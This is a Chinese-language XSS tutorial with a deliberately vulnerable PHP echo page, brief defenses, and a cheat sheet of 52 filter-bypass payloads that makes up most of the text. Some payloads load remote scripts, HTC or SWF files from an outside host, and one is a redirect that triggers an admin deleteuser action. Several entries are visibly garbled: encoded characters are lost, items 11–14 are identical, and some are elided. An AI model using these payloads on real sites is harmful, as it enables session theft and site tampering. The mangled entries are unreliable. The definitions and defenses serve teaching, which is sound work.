0x01、什么是xss
跨站脚本攻击(Cross Site Scripting),恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码。当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍。而此时,XSS攻击就完成了。
0x02、xss的危害
- 挂马
- 盗取用户Cookie。
- DOS(拒绝服务)客户端浏览器。
- 钓鱼攻击,高级的钓鱼技巧。
- 删除目标文章、恶意篡改数据、嫁祸。
- 劫持用户Web行为,甚至进一步渗透内网。
- 爆发Web2.0蠕虫。
- 蠕虫式的DDoS攻击。
- 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
0x03、xss的种类
xss分为持久型、非持久型和DOM
持久型(存储型)xss
一般无意触发,输入--进入数据库*--取出数据库--输出。攻击脚本将被永久地存放在目标服务器的数据库和文件中。直接将恶意代码提交到服务器端,下次访问就不用再次提交xss代码
非持久型(反射型)xss
一般需要自行去触发,输入—输出。这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。一般容易出现在搜索页面,发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码
DOM xss
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
0x04、实例分析
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<title>xss初级</title>
</head>
<body>
<form action="" method="get" >
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
?>
</body>
</html>
我们搭建一个简单的测试页面
当我们输入111时查看源代码,发现字符串被输出了出来,嵌套在标签内,那么我们输入
<script>alert('xss')</script>
会出现什么呢
我们可以看到出现xss弹窗,说明存在xss漏洞,这是最简单的xss漏洞了。
0x05、防御机制
1、对特殊字符HTML转码,用htmlspecialchars()函数进行检查。htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
2、标签属性进行白名单限制,对输入进行正则匹配,发现不在白名单内的进行过滤或者替换为空。
0x06、常见xss攻击绕过方法
(1)普通的XSS JavaScript注入
<script>alert("xss")</script>
(2)区分大小写
<sCripT>alert("xss")</Script>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(16)Spaces和meta前的IMG标签
<IMG SRC=” javascript:alert(‘XSS’);”>
(17)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(18)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(19)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(20)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(21)双开角括号
<iframe src=http://3w.org/XSS.html <
(22)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(23)换码过滤的JavaScript
\”;alert(‘XSS’);//
(24)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(25)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>
(26)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
(27)BODY标签
<BODY(‘XSS’)>
(28)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
(29)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
(30)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
(31)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(32)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(33)IMG STYLE方式
exppression(alert(“XSS”))’>
(34)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(35)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(36)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
(37)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(38)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>
(39)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=””></SCRIPT>
(40)IMG嵌入式命令,可执行任意命令
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
(41)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(42)绕符号过滤
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
(43)URL绕行
<A HREF=”http://127.0.0.1/”>XSS</A>
(44)URL编码
<A HREF=”http://3w.org”>XSS</A>
(45)IP十进制
<A HREF=”http://3232235521″>XSS</A>
(46)IP十六进制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
(47)IP八进制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
(48)混合编码
<A HREF=”htt p://6 6.000146.0×7.147/”">XSS</A>
(49)节省[http:]
<A HREF=”//www.google.com/”>XSS</A>
(50)节省[www]
<A HREF=”http://google.com/”>XSS</A>
(51)绝对点绝对DNS
<A HREF=”http://www.google.com./”>XSS</A>
(52)javascript链接
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>